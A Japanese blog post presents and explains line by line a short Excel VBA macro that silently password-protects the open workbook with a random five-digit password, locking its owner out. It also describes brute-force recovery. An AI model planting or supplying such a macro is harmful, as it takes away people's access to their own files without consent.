はじめに
VBAを使うとExcelにおいて複雑な処理が楽になるそうです。
しかしながらプログラムの中には悪意のあるものも存在します。この記事では実行するとファイルを開くことが困難になるVBAを紹介します。
注意:利用された場合に生じる損害については一切の責任を負いません。
VBAとは
Microsoft社のOfficeシリーズのソフトウェアの一部であるWordやExcel、Access、PowerPointなどで利用できる機能で、同社のプログラミング言語および実行環境であるVisual Basicの簡易版を用いてプログラムを作成することができる。これらのソフトウェアの動作の一部を変更したり、繰り返し行われる定型的な作業や複雑な処理を自動的に実行することができる。
VBA対応のアプリケーションには開発環境と実行環境の両方が組み込まれており、記述したプログラムは機械語への変換などの作業を行わなくてもその場で即座に実行することできる。作成したプログラムはファイルの一部としてデータと共に記録することができ、別のコンピュータでそのファイルを開けば同じように実行することができる。
引用:https://e-words.jp/w/VBA.html
何はともあれソースコード
Sub dangerous()
Application.DisplayAlerts = False
Dim wb As Workbook:Set wb = ThisWorkbook
Dim pass As String:pass = WorkSheetFunction.RandBetween(1,99999)
wb.SaveAs wb.FullName,,pass
wb.Close
End Sub
Excelにてこれを実行すると、ファイルを開くことが非常に困難になります。具体的には5桁のランダムなパスワードが勝手に追加されます
解説
Sub dangerous()からEnd Sub内がプログラムの中身になる。dangerousの部分は何でもよい。
Application.DisplayAlerts = False
警告無視して終わらせる命令。Falseが無視を示す。
Dim wb As Workbook:Set wb = ThisWorkbook
ThisWorkbookはこのworkbook本体を指している。
Dim pass As String:pass = WorkSheetFunction.RandBetween(1,99999)
このworkbookにパスワードをかける。パスワードは1~99999の間でランダムで作成される。
wb.SaveAs wb.FullName,,pass
Excel本体に対する命令。上書き保存を指している。
実行してみた
強制的にExcelが終了し、再起動すると上記のような画面になるはずです。パスワードはもちろん不明です。
解決方法
別のExcelを起動しパスワードがかかったファイルを選択。1~99999までのパスワードを入力し続けるプログラムを作成することで解決出来ます。下記に解決方法の動画のリンクがあります。
終わりに
VBAは正しく使うと非常に便利ですが、以上のように悪用されることも多々あります。
悪用はやめましょう!